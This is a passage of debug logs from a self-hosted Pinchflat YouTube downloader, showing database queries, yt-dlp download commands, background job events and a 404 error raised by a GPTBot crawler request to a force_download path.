THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:55:18.405 [debug] QUERY OK source="media_items" db=0.2ms idle=355.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:55:18.406 [debug] QUERY OK source="sources" db=0.0ms idle=355.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:55:18.406 [debug] Replied in 1ms 22:55:20.577 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/1b/4f1b45a19880c50294be8cc9a920a669c0e85c9c43b33d30c2a1b4b07697d8c7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:20.577 [debug] Running yt-dlp command for action: download 22:55:20.577 [debug] QUERY OK source="settings" db=0.1ms idle=1238.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:20.578 [debug] QUERY OK source="settings" db=0.0ms idle=514.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:20.578 [debug] QUERY OK source="settings" db=0.0ms idle=514.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:20.578 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/ac/60aca93c602eb4bea0b7e1486f4e196488bd97bd44e5001e3f81dcb708f13afb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:28.977 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:44.044 [info] GET /sources/2/media/73/force_download 22:55:44.045 [debug] QUERY OK source="settings" db=0.1ms idle=1981.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:44.045 [debug] QUERY OK source="settings" db=0.1ms idle=1981.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:44.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:55:44.045 [error] #PID<0.5165.0> running PinchflatWeb.Endpoint (connection #PID<0.5164.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/73/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/73/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/73/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/73", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5165.0>, params: %{}, path_info: ["sources", "2", "media", "73", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/73"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/73/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDh0biKvTQgH-4AAXqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/73/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/73", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/73/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5164.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/73/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/73", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5165.0>, params: %{}, path_info: ["sources", "2", "media", "73", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:55:51.116 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/5b/8d5bb9dcf5e40c4a77a468766dc819e7adaa501d84312f16e0d788fb867bd99d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:51.129 [debug] Running yt-dlp command for action: download_thumbnail 22:55:51.129 [debug] QUERY OK source="settings" db=0.1ms idle=1065.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:51.129 [debug] QUERY OK source="settings" db=0.0ms idle=1066.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:51.129 [debug] QUERY OK source="settings" db=0.0ms idle=740.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:51.129 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/111/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b8/4b/b84b9fdcc721edf53ca701a3617519412c6de3316d0325f2323d62215ec3f174.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:54.027 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/111/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b8/4b/b84b9fdcc721edf53ca701a3617519412c6de3316d0325f2323d62215ec3f174.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:54.028 [debug] QUERY OK db=0.0ms idle=964.5ms begin [] 22:55:54.028 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:55:51Z], "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", ~U[2026-03-28 02:55:54Z], 111] 22:55:54.028 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/111/metadata.json.gz", "/config/metadata/media_items/111/thumbnail.jpg", 111, ~U[2026-03-28 02:55:54Z], ~U[2026-03-28 02:55:54Z]] 22:55:54.037 [debug] QUERY OK db=8.7ms commit [] 22:55:54.038 [debug] QUERY OK source="media_items" db=0.8ms idle=974.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [358637064, ~U[2026-03-28 02:55:54Z], 111] 22:55:54.039 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:55:54.039 [info] {"args":{"id":111},"id":110,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":124549406,"event":"job:stop","queue_time":7462489389,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:55:54.040 [debug] QUERY OK source="tasks" db=0.4ms idle=976.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:54.040 [debug] QUERY OK source="tasks" db=0.5ms idle=644.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:54.040 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 22:55:54.040 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 22:55:54.045 [info] {"args":{"id":113},"id":112,"meta":{},"system_time":1774666554045789016,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:55:54.046 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 22:55:54.046 [debug] QUERY OK source="tasks" db=0.7ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:54.046 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:55:54.046 [debug] QUERY OK source="tasks" db=0.8ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:54.047 [debug] QUERY OK source="sources" db=0.3ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:55:54.047 [debug] QUERY OK source="media_items" db=0.7ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [112, 113] 22:55:54.047 [debug] QUERY OK source="media_items" db=0.6ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [112, 113] 22:55:54.048 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:54.048 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [113] 22:55:54.049 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [113] 22:55:54.049 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:54.049 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:54.049 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:54.049 [debug] Running yt-dlp command for action: get_downloadable_status 22:55:54.050 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:54.050 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:54.050 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:54.050 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/2c/2d2cfbe5fd3482c063510527c72cfd3e90f51637bb5f0254d71674f13ec24d72.json --windows-filenames --quiet 